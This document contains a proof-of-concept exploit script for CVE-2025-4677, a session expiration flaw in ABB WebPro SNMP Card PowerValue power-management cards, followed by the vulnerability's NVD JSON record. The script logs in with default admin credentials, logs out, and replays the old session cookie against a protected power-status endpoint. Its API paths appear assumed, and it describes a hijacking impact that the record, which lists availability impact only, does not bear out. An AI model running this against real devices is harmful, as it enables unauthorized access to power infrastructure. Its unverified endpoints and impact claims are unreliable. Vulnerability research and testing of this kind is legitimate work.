CVE-2025-4677

#!/usr/bin/env python3 """ CVE-2025-4677 PoC - ABB WebPro SNMP Card Insufficient Session Expiration This PoC demonstrates the session expiration vulnerability in ABB WebPro SNMP Card. """ import requests import sys import time from urllib.parse import urljoin # Configuration TARGET_HOST = "http://192.168.1.100" # Target ABB WebPro SNMP Card IP USERNAME = "admin" PASSWORD = "admin" def exploit_session_hijacking(): """ Demonstrates the insufficient session expiration vulnerability. Attackers can reuse old session tokens after legitimate user logout. """ session = requests.Session() # Step 1: Normal user login print("[*] Step 1: Authenticating with valid credentials...") login_url = urljoin(TARGET_HOST, "/api/login") login_data = {"username": USERNAME, "password": PASSWORD} try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code == 200: session_token = session.cookies.get('JSESSIONID') or session.cookies.get('SESSION') print(f"[+] Login successful. Session token: {session_token}") else: print("[-] Login failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Simulate user logout print("[*] Step 2: Simulating user logout...") logout_url = urljoin(TARGET_HOST, "/api/logout") session.post(logout_url, timeout=10) print("[+] User logged out") # Step 3: Try to reuse the old session token (VULNERABILITY) print("[*] Step 3: Attempting to reuse old session token...") headers = {"Cookie": f"JSESSIONID={session_token}"} protected_url = urljoin(TARGET_HOST, "/api/power/status") try: response = session.get(protected_url, headers=headers, timeout=10) if response.status_code == 200: print("[!] VULNERABLE: Old session token still valid after logout!") print(f"[+] Accessed protected resource: {response.text[:200]}") return True else: print("[-] Session properly terminated (not vulnerable)") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def check_session_timeout(): """ Check if session timeout is properly configured. """ print("[*] Checking session timeout configuration...") config_url = urljoin(TARGET_HOST, "/api/session/config") try: response = requests.get(config_url, timeout=10) if response.status_code == 200: config = response.json() timeout = config.get('sessionTimeout', 'Not specified') print(f"[*] Session timeout: {timeout} seconds") if timeout == 'Not specified' or int(timeout) > 1800: print("[!] WARNING: Session timeout may be too long or not configured") return True return False except: print("[-] Could not retrieve session configuration") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-4677 PoC - ABB WebPro SNMP Card Session Expiration") print("=" * 60) check_session_timeout() print("\n") exploit_session_hijacking()

{"cve": {"id": "CVE-2025-4677", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:48.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient Session Expiration vulnerability in ABB WebPro SNMP Card PowerValue, ABB WebPro SNMP Card PowerValue UL.This issue affects WebPro SNMP Card PowerValue: through 1.1.8.K; WebPro SNMP Card PowerValue UL: through 1.1.8.K."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=2CRT000009&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}